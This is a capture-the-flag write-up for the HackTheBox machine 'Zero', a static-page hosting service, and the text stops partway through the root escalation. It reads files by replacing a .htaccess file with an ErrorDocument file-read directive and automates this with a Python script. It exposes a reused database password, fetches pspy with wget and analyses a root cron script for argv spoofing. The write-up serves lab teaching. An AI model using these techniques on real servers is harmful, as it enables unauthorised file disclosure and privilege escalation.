HTB: Zero

Zero is all about abusing Apache. It’s a hosting provide, where I can get an account with SFTP access to upload files to be holder in a path on the site. I’ll overwrite the .htaccess file and use it to read files from the file system. I’ll write a Python script to automate this, and read files to find a password in the website database connection information. With a shell, I’ll see a script running every minute that looks at the Apache process in the process list and runs apache2ctl to verify the configuration is good. I’ll fake a process name and overload an argument to get apache2ctl running on a config I control. I’ll show a partial file read, a failed attempt at command injection, and two ways to get a shell as root.
Box Info
Name | Zero ![]() Play on HackTheBox |
---|---|
Release Date | 12 Aug 2025 |
Retire Date | 12 Aug 2025 |
OS | Linux ![]() |
Base Points | Insane [50] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creator |
Recon
Initial Scanning
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-07 01:33 UTC
...[snip]...
Scanned at 2025-08-07 01:33:45 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds
Raw packets sent: 65970 (2.903MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.129.234.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-07 01:34 UTC
Nmap scan report for 10.129.234.62
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 85:7b:10:68:1b:90:b6:10:52:57:f1:a9:fd:18:eb:6c (RSA)
| 256 2e:61:8d:35:14:d6:92:3a:71:74:f7:80:ba:76:21:f3 (ECDSA)
|_ 256 d0:8b:7d:83:72:24:9c:b7:8f:bf:78:f9:16:05:8b:d9 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.14 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 focal.
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Website - TCP 80
Site
The site is for a hosting provider:
The page mentions using SFTP for upload, and hosting only static HTML pages.
The “Statistics” link (/stats.php
) has some stats:

The mention of web sockets is interesting. I don’t see any evidence of a web socket on this page.
The “Sign up today” button on the front page loads /signup.php
:

Clicking “Request credentials” returns a username and password:

This looks very similar to the setup in Ten. I’ll add zero.vl
to my local hosts
file:
10.129.234.62 zero.vl
Its my site is located at /~zro-afb97e8f/
, which is the given username prepended with “~”. Visiting shows a brick wall with a title bar of “Nothing here.”
Tech Stack
The page paths show that the site is built on PHP. The webserver is Apache, as shown by nmap
and in the response headers:
HTTP/1.1 200 OK
Date: Wed, 06 Aug 2025 18:49:31 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 19 Feb 2022 23:21:10 GMT
ETag: "cd-5d867412ce730-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 205
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
The 404 page is the default Apache 404:

Directory Brute Force
I’ll run feroxbuster
against the site, and include -x php
since I know the site is PHP:
oxdf@hacky$ feroxbuster -u http://zero.vl -x php --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://zero.vl
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 269c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 9l 25w 205c http://zero.vl/
200 GET 75l 246w 3285c http://zero.vl/stats.php
200 GET 114l 400w 5173c http://zero.vl/index.php
200 GET 820l 4248w 72818c http://zero.vl/info.php
200 GET 89l 269w 3675c http://zero.vl/signup.php
301 GET 9l 28w 301c http://zero.vl/dist => http://zero.vl/dist/
[####################] - 2m 60000/60000 0s found:6 errors:0
[####################] - 2m 30000/30000 275/s http://zero.vl/
[####################] - 0s 30000/30000 326087/s http://zero.vl/dist/ => Directory listing (add --scan-dir-listings to scan) (remove --dont-extract-links to scan)
The only new page is /info.php
, which presents a standard PHPinfo page:
Nothing of immediate note here.
SSH / SFTP - TCP 22
SSH
SFTP runs over SSH, so I’ll first check to see if I can just get a shell on the host:
oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl
PTY allocation request failed on channel 0
This service allows sftp connections only.
Connection to 10.129.234.62 closed.
It fails. I cannot get a session. I’ll try telling it a command to run:
oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl bash
This service allows sftp connections only.
oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl id
This service allows sftp connections only.
-t
will try to force a PTY, but it fails too:
oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl -t bash
PTY allocation request failed on channel 0
oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl -t id
PTY allocation request failed on channel 0
SFTP
It does work over SFTP:
oxdf@hacky$ sshpass -p 2699d1a5 sftp zro-afb97e8f@zero.vl
Connected to zero.vl.
sftp>
It has a single folder:
sftp> ls -la
drwxr-xr-x 3 root root 4096 Aug 6 19:02 .
drwxr-xr-x 3 root root 4096 Aug 6 19:02 ..
drwxr-xr-x 2 1001 1001 4096 Aug 6 19:02 public_html
It has an HTML page and an .htaccess
file:
sftp> cd public_html/
sftp> ls -la
drwxr-xr-x 2 1001 1001 4096 Aug 6 19:45 .
drwxr-xr-x 3 root root 4096 Aug 6 19:45 ..
-rw-r--r-- 1 root root 49 Aug 6 19:45 .htaccess
-rw-r--r-- 1 1001 1001 349 Feb 15 2019 index.html
sftp> get index.html
Fetching /public_html/index.html to index.html
sftp> get .htaccess
Fetching /public_html/.htaccess to .htaccess
The HTML file is the file that’s being served on “my” site:
<!DOCTYPE html>
<html>
<head>
<title>Nothing here.</title>
<style>body { margin:0; padding:0; background:url("/dist/img/abstract-architecture-attractive-988873.jpg") no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; }</style>
</head>
<body></body>
</html>
The .htaccess
file sets a custom header:
oxdf@hacky$ cat .htaccess
Header always set X-Zero-Customer 'zro-de834d1c'
That header is present in the response:
HTTP/1.1 200 OK
Date: Wed, 06 Aug 2025 19:53:48 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Zero-Customer: zro-de834d1c
Last-Modified: Fri, 15 Feb 2019 21:03:16 GMT
ETag: "15d-581f51a8d6d00-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 349
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html
Shell as zroadmin
Failures
PHP Upload
The most obvious way forward is to upload PHP and see if it executes. I’ll create a dummy PHP file:
<?php
echo "test";
When I upload this it works fine:
sftp> put test.php
Uploading test.php to /public_html/test.php
But it the site just returns the code, doesn’t execute it:
oxdf@hacky$ curl http://zero.vl/~zro-de834d1c/test.php
<?php
echo "test";
Alternative Extensions
I’ll try uploading that same file as some other common PHP extensions:
sftp> put test.php test.php3
Uploading test.php to /public_html/test.php3
sftp> put test.php test.php4
Uploading test.php to /public_html/test.php4
sftp> put test.php test.php5
Uploading test.php to /public_html/test.php5
sftp> put test.php test.php6
Uploading test.php to /public_html/test.php6
sftp> put test.php test.phps
Uploading test.php to /public_html/test.phps
sftp> put test.php test.inc
Uploading test.php to /public_html/test.inc
All but .phps
return the raw file. .phps
returns a 403.
.htaccess Enable PHP
If the site isn’t processing PHP pages in this directory, perhaps I can use .htaccess
to make it. I’ll make a .htaccess
file with an additional line:
oxdf@hacky$ cp .htaccess htaccess-php
oxdf@hacky$ vim htaccess-php
oxdf@hacky$ cat htaccess-php
Header always set X-Zero-Customer 'zro-de834d1c'
AddHandler application/x-httpd-php .php
Trying to upload this on top of the existing .htaccess
fails:
sftp> put htaccess-php .htaccess
Uploading htaccess-php to /public_html/.htaccess
dest open "/public_html/.htaccess": Permission denied
That’s because the file is owned by root, and only writable by root:
sftp> ls -la
drwxr-xr-x 2 1001 1001 4096 Aug 6 19:57 .
drwxr-xr-x 3 root root 4096 Aug 6 19:45 ..
-rw-r--r-- 1 root root 49 Aug 6 19:45 .htaccess
-rw-r--r-- 1 1001 1001 349 Feb 15 2019 index.html
-rw-rw-r-- 1 1001 1001 20 Aug 6 19:57 test.inc
-rw-rw-r-- 1 1001 1001 20 Aug 6 19:55 test.php
-rw-rw-r-- 1 1001 1001 20 Aug 6 19:57 test.php3
-rw-rw-r-- 1 1001 1001 20 Aug 6 19:57 test.php4
-rw-rw-r-- 1 1001 1001 20 Aug 6 19:57 test.php5
-rw-rw-r-- 1 1001 1001 20 Aug 6 19:57 test.php6
-rw-rw-r-- 1 1001 1001 20 Aug 6 19:57 test.phps
I’ll notice that 1001 is the owner of all the files I’ve uploaded, as well as the current directory. That means I should be able to move files, even files I don’t own and can’t write. It works:
sftp> rename .htaccess .htaccess.bk
sftp> put htaccess-php .htaccess
Uploading htaccess-php to /public_html/.htaccess
Unfortunately, PHP still doesn’t execute.
File Read via .htaccess
POC
Now that I can control .htaccess
, there are a lot more things to try. This post from re2libc talks about many different ways to abuse .htaccess
files. None of them really worked on their own, but this section talked about using error pages to redirect users to a malicious site:

What if instead of a remote site, I have the error page show a file? I’ll generate a .htaccess
file to read /etc/passwd
:
Header always set X-Zero-Customer 'zro-de834d1c'
ErrorDocument 404 %{file:/etc/passwd}
Now triggering a 404 response will return passwd
:
oxdf@hacky$ curl http://zero.vl/~zro-de834d1c/0
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zroadmin:x:666:666::/home/zroadmin:/bin/bash
fwupd-refresh:x:114:121:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
zro-de834d1c:x:1001:1001::/home/zro-de834d1c:/bin/false
Script
I’ll make a Python script to read files from the server:
# /// script
# requires-python = ">=3.12"
# dependencies = [
# "paramiko",
# "requests",
# ]
# ///
import sys
import paramiko
import requests
if len(sys.argv) != 5:
print(f"usage: {sys.argv[0]} <host> <username> <password> <file to read>")
sys.exit(1)
host, username, password, target_file = sys.argv[1:5]
def write_file(host, username, password, content):
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy)
ssh_client.connect(hostname=host, port=22, username=username, password=password)
sftp_client = ssh_client.open_sftp()
target_path = "public_html/.htaccess"
sftp_client.remove(target_path)
with sftp_client.file(target_path, "wb") as remote_file:
remote_file.write(content)
def read_file(host, username):
resp = requests.get(f"http://{host}/~{username}/0xdf.whatever")
assert resp.status_code == 404
return resp.text
htcontent = f"ErrorDocument 404 %{{file:{target_file}}}".encode()
write_file(host, username, password, htcontent)
print(read_file(host, username))
The top metadata is added by uv add --script read_file.py paramiko requests
, and then I can run with uv run --script read_file.py
:
oxdf@hacky$ uv run --script read_file.py
usage: read_file.py <host> <username> <password> <file to read>
It works:
oxdf@hacky$ uv run --script read_file.py zero.vl zro-de834d1c cbc6427b /etc/hosts
127.0.0.1 localhost
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
Filesystem Enumeration
With a bit of guessing, I can find the web directory in /var/www/html
:
oxdf@hacky$ uv run --script read_file.py zero.vl zro-de834d1c cbc6427b /var/www/html/index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors">
<meta name="generator" content="Jekyll v3.8.5">
<title>Zero</title>
<!-- Bootstrap core CSS -->
<link href="/dist/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous">
<style>
.bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; }
@media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } }
</style>
<!-- Custom styles for this template -->
<link href="carousel.css" rel="stylesheet">
</head>
<body>
<header>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="/index.php">Zero</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active"><a class="nav-link" href="/index.php">Home<span class="sr-only">(current)</span></a></li>
<li class="nav-item"><a class="nav-link" href="/stats.php">Statistics</a></li>
</ul>
</div>
</nav>
</header>
<main role="main">
<div id="myCarousel" class="carousel slide" data-ride="carousel">
<ol class="carousel-indicators">
<li data-target="#myCarousel" data-slide-to="0" class="active"></li>
<li data-target="#myCarousel" data-slide-to="1"></li>
<li data-target="#myCarousel" data-slide-to="2"></li>
</ol>
<div class="carousel-inner">
<div class="carousel-item active">
<img src="dist/img/ai-codes-coding-97077.jpg">
<div class="container">
<div class="carousel-caption text-left">
<h1>Zero</h1>
<p>There is no place like Zero - your free home page hoster.</p>
<p><a class="btn btn-lg btn-primary" href="/signup.php" role="button">Sign up today</a></p>
</div>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#myCarousel" role="button" data-slide="prev">
<span class="carousel-control-prev-icon" aria-hidden="true"></span>
<span class="sr-only">Previous</span>
</a>
<a class="carousel-control-next" href="#myCarousel" role="button" data-slide="next">
<span class="carousel-control-next-icon" aria-hidden="true"></span>
<span class="sr-only">Next</span>
</a>
</div>
<!-- Marketing messaging and featurettes
================================================== -->
<!-- Wrap the rest of the page in another container to center all the content. -->
<div class="container marketing">
<!-- START THE FEATURETTES -->
<div class="row featurette">
<div class="col-md-7">
<h2 class="featurette-heading">Secure SFTP Upload.<span class="text-muted"> WTF!</span></h2>
<p class="lead">We provide secure upload to your account using industry standard strong encryption algorithms. No one can spy on your password. No one will see what precious files you upload.</p>
</div>
<div class="col-md-5">
<img src="dist/img/cyber-security-cybersecurity-device-60504.jpg" width="400" height="400"><title>SSH</title>
</div>
</div>
<hr class="featurette-divider">
<div class="row featurette">
<div class="col-md-7 order-md-2">
<h2 class="featurette-heading">Static file hosting.<span class="text-muted"> Retro!</span></h2>
<p class="lead">Like in the good old times! Fire up your Netscape Navigator 4.0 and browse your pages like in the last century! Use animated GIFs like in the 90s, upload Java applets for scrolling banners. Back to the roots!</p>
<p class="lead">Sounds cool? It does - we allow old-school static HTML pages.</p>
</div>
<div class="col-md-5 order-md-1">
<img src="dist/img/caffeine-coffee-cup-6347.jpg" width="400" height="400"><title>Coffee</title>
</div>
</div>
<hr class="featurette-divider">
<!-- /END THE FEATURETTES -->
</div><!-- /.container -->
<!-- FOOTER -->
<footer class="container">
<p class="float-right"><a href="#">Back to top</a></p>
<p>© 2022 Zero, Dec. · <a href="#">Privacy</a> · <a href="#">Terms</a> · <a href="attribution.php">Attribution</a></p>
</footer>
</main>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="/docs/4.3/assets/js/vendor/jquery-slim.min.js"><\/script>')</script><script src="dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script></body>
</html>
Nothing interesting there. signup.php
is just a static page. It does have this JavaScript:
<script>
function requestCreds() {document.getElementById("credsbutton").disabled = true;
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200){
document.getElementById("creds").innerHTML = this.responseText;
}
};
xhttp.open("GET", "/get-credentials-please-do-not-spam-this-thanks.php", true);
xhttp.send();
}
</script>
/get-credentials-please-do-not-spam-this-thanks.php
has the code for creating a user:
<?php
$username = "zro-" . substr(hash("sha256",rand()),0,8);
$password = substr(hash("sha256",rand()),0,8);
sleep(15); // This is only here so that you do not create too many users :)
header('X-Zero-Username: ' . $username);
header('X-Zero-Password: ' . $password);
echo('<p class="lead">Your personal account is ready to be used:<br><br>Username: <b>'.$username.'</b><br>Password: <b>'.$password.'</b><br><br>You can use the provided credentials to upload your pages via sftp://zero.vl. Your personal home page will be available <a href="http://zero.vl/~'.$username.'">here</a>.<br><br><font size="-1">It may take up to one minute for all backend processes to properly identify you.</font></p>');
This is interesting. It creates random username and password, but then just puts them in a header. It’s not clear where the user is actually created.
stats.php
is mostly static, but the statistics themselves are generated with PHP:
<!doctype html>
<html lang="en">
...[snip]...
<h2 class="featurette-heading">Statistics.<span class="text-muted"> 1+1!</span></h2>
<?php
$mysqli = new mysqli("localhost", "zroadmin", "correct-horse-battery-staple", "zro");
$result = $mysqli->query("SELECT * FROM stats LIMIT 1");
for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
$result->data_seek($row_no);
$row = $result->fetch_assoc();
print("<br>Registered users: <b>".$row['numuser']."</b>
<br>Number of pages hosted: <b>".$row['numpages']."</b>
<br>Number of open web sockets: <b>".$row['numsocks']."</b>
<br>System load average: <b>".$row['sysload']."</b>
<br>System uptime: <b>".$row['uptime']."</b>
<br>Number of admins logged in: <b>".$row['numadm']."</b>");
}
?>
<p class="lead"><?php include('stats.in.txt') ?></p>
...[snip]...
</html>
There’s no user input in the SQL query, so it isn’t a chance for SQL injection.
There is a username and password for the database connection (as well as classic XKCD Easter egg).
SSH
The creds work over SSH as well:
oxdf@hacky$ sshpass -p correct-horse-battery-staple ssh zroadmin@zero.vl
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1084-aws x86_64)
System information as of Wed Aug 6 20:46:03 UTC 2025
System load: 0.08 Processes: 215
Usage of /: 57.3% of 5.05GB Users logged in: 0
Memory usage: 7% IPv4 address for eth0: 10.129.234.62
Swap usage: 0%
=> There is 1 zombie process.
zroadmin@zero:~$
And I can claim user.txt
:
zroadmin@zero:~$ cat user.txt
296a8815************************
Shell as root
Enumeration
Users
zroadmin can’t run sudo
:
zroadmin@zero:~$ sudo -l
[sudo] password for zroadmin:
Sorry, user zroadmin may not run sudo on zero.
Nothing interesting in zroadmin’s home directory:
zroadmin@zero:~$ find . -type f
./.bashrc
./.cache/motd.legal-displayed
./.bash_logout
./user.txt
./.profile
There are two other users with home directories in /home
:
zroadmin@zero:/home$ ls
ubuntu zro-de834d1c zroadmin
ubuntu has a shell in passwd
as well:
zroadmin@zero:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zroadmin:x:666:666::/home/zroadmin:/bin/bash
zro-de834d1c doesn’t, but that’s the user created for the web. zroadmin can access it:
zroadmin@zero:/home/zro-de834d1c$ ls
public_html
zroadmin@zero:/home/zro-de834d1c$ find . -type f
./public_html/test.inc
./public_html/test.phps
./public_html/.htaccess
./public_html/test.php4
./public_html/test.php6
./public_html/htaccess
./public_html/test.php3
./public_html/.htaccess.bk
./public_html/test.php
./public_html/index.html
./public_html/test.php5
Nothing I didn’t create.
zroadmin can’t access ubuntu.
Web
There’s nothing new in the web directory beyond the files I already found:
zroadmin@zero:/var/www/html$ ls
attribution.php dist images.txt index.php signup.php
carousel.css get-credentials-please-do-not-spam-this-thanks.php index.html info.php stats.php
The Apache config for the site is as expected, except that it is logging the X-Zero-Username
and X-Zero-Password
to a file named accounts
:
zroadmin@zero:/etc/apache2/sites-enabled$ cat 000-default.conf | grep -vP '^\s#' | grep .
<VirtualHost *:80>
ServerAdmin webmaster@zero.vl
DocumentRoot /var/www/html
LogFormat "%{X-Zero-Username}o %{X-Zero-Password}o" accounts
CustomLog ${APACHE_LOG_DIR}/accounts.log accounts
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
The o
after the header name variables is for outgoing headers, so that file must be what is being watched and used to make new users. It’s going to be in /var/log/apache2
, which I can’t access at this point.
Processes
Nothing really jumps out as interesting on the process list (ps auxww
), so I’ll grab a copy of pspy and host it on my Python webserver, uploading it to Zero using wget
:
zroadmin@zero:/dev/shm$ wget 10.10.14.79/pspy64
--2025-08-06 21:22:44-- http://10.10.14.79/pspy64
Connecting to 10.10.14.79:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[============================>] 2.96M 4.46MB/s in 0.7s c
2025-08-06 21:22:45 (4.46 MB/s) - ‘pspy64’ saved [3104768/3104768]
I’ll make it executable and run it:
zroadmin@zero:/dev/shm$ chmod +x pspy64
zroadmin@zero:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...
Every minute, there are crons that trigger:
2025/08/07 01:12:01 CMD: UID=0 PID=36191 | /usr/bin/bash /usr/local/bin/zro.web-confcheck
2025/08/07 01:12:01 CMD: UID=0 PID=36192 | /usr/bin/bash /usr/local/bin/zro.web-confcheck
2025/08/07 01:12:01 CMD: UID=0 PID=36193 | /usr/bin/bash /usr/local/bin/zro.web-confcheck
2025/08/07 01:12:01 CMD: UID=0 PID=36194 | (snap)
2025/08/07 01:12:01 CMD: UID=0 PID=36199 | /usr/bin/snap run amazon-ssm-agent
2025/08/07 01:12:01 CMD: UID=0 PID=36213 | /usr/sbin/CRON -f
2025/08/07 01:12:01 CMD: UID=0 PID=36212 | /usr/sbin/cron -f
2025/08/07 01:12:01 CMD: UID=0 PID=36211 | /usr/sbin/CRON -f
2025/08/07 01:12:01 CMD: UID=0 PID=36214 | /usr/sbin/CRON -f
2025/08/07 01:12:01 CMD: UID=0 PID=36215 | /bin/bash /root/bin/create-account.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36216 | /usr/sbin/CRON -f
2025/08/07 01:12:01 CMD: UID=0 PID=36217 | /bin/bash /root/bin/create-account.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36218 | /bin/bash /root/bin/create-account.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36220 | /bin/bash /root/bin/create-account.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36219 |
2025/08/07 01:12:01 CMD: UID=0 PID=36222 | /usr/sbin/CRON -f
2025/08/07 01:12:01 CMD: UID=0 PID=36221 | /usr/bin/python3 /root/bin/cleanup.py
2025/08/07 01:12:01 CMD: UID=0 PID=36223 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36224 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36225 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36227 | /usr/bin/wc -l
2025/08/07 01:12:01 CMD: UID=0 PID=36226 | /usr/bin/find -P /home/zro-17fd6687/public_html /home/zro-1ff46dde/public_html /home/zro-516f1d47/public_html /home/zro-de834d1c/public_html -type f
2025/08/07 01:12:01 CMD: UID=0 PID=36230 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36229 | /bin/ss -nt state established src :80
2025/08/07 01:12:01 CMD: UID=0 PID=36228 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36232 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36231 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:01 CMD: UID=0 PID=36233 |
2025/08/07 01:12:02 CMD: UID=0 PID=36235 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:02 CMD: UID=0 PID=36237 | /bin/sed -e s:.*,\(.*\) user.*:\1:
2025/08/07 01:12:02 CMD: UID=0 PID=36236 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:02 CMD: UID=0 PID=36239 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:02 CMD: UID=0 PID=36238 | /bin/bash /root/bin/update-stats.sh
2025/08/07 01:12:02 CMD: UID=0 PID=36240 |
2025/08/07 01:12:02 CMD: UID=0 PID=36242 | /usr/bin/mysql -uzroadmin -pcorrect-horse-battery-staple zro
2025/08/07 01:12:02 CMD: UID=0 PID=36241 | /bin/bash /root/bin/update-stats.sh
There’s a bunch of stuff running as root. Several scripts running from /root
, but also /usr/local/bin/zro.web-confcheck
.
zro.web-confcheck
This file is a shell script:
zroadmin@zero:/$ file /usr/local/bin/zro.web-confcheck
/usr/local/bin/zro.web-confcheck: Bourne-Again shell script, ASCII text executable
It’s only 14 lines long:
#!/usr/bin/bash
RET=0
while read pid _cmd ; do
# Replace apache2 with apache2ctl and add -t for test
cmd="${_cmd/apache2/apache2ctl} -t"
$cmd >/dev/null 2>&1
RET=$?
done <<< $(/usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
if [[ $RET -eq 0 ]] ; then
echo 'Configuration correct. \o/'
else
echo 'Configuration broken. Please fix immediately!' >&2
fi
exit $RET
This script is running pgrep
looking for a specific apache2
process running out of /opt/zroweb
and looping over the results. pgrep
looks at the process name for patterns, and with -f
it looks at the full command line. -a
returns the full command line, and -l
says to return both the matched process pid and the command line.
There’s nothing in the process list that matches this full command, but a simpler example:
zroadmin@zero:~$ pgrep -lfa apache2
1115 /usr/sbin/apache2 -k start
28947 /usr/sbin/apache2 -k start
28948 /usr/sbin/apache2 -k start
28949 /usr/sbin/apache2 -k start
28950 /usr/sbin/apache2 -k start
28951 /usr/sbin/apache2 -k start
The loop will use bash
replacement syntax to replace any instances of apache2
with apache2ctl
, and then run the command. It check the return value for the last matched process and then prints the result. This script is designed to take the running Apache command and get it’s config and validate it.
Exploit Primitives
Fake Process Command Line
The first thing I want to do to interact with this script is to create a process where I control the command line. The most straight forward way I know to do this is using the exec System call, which starts a completely new process in place of the current one, and allows the caller to set both the path to the binary and the argv
array. Typically by convention the first item in argv
is the process name, but this doesn’t have to be. And tools like ps
show what is in argv[0]
.
This can be done in basically any language, so I’ll use Python. The os
module has a execv
function (the v
version allows me to set the command line arguments):
import os
os.execv('/bin/sleep', ['0xdf_was_here', '60'])
This will call sleep 60
but in the process list it will show up as 0xdf was here 60
. I’ll run this in one terminal, and in another:
zroadmin@zero:~$ ps auxww | grep 0xdf
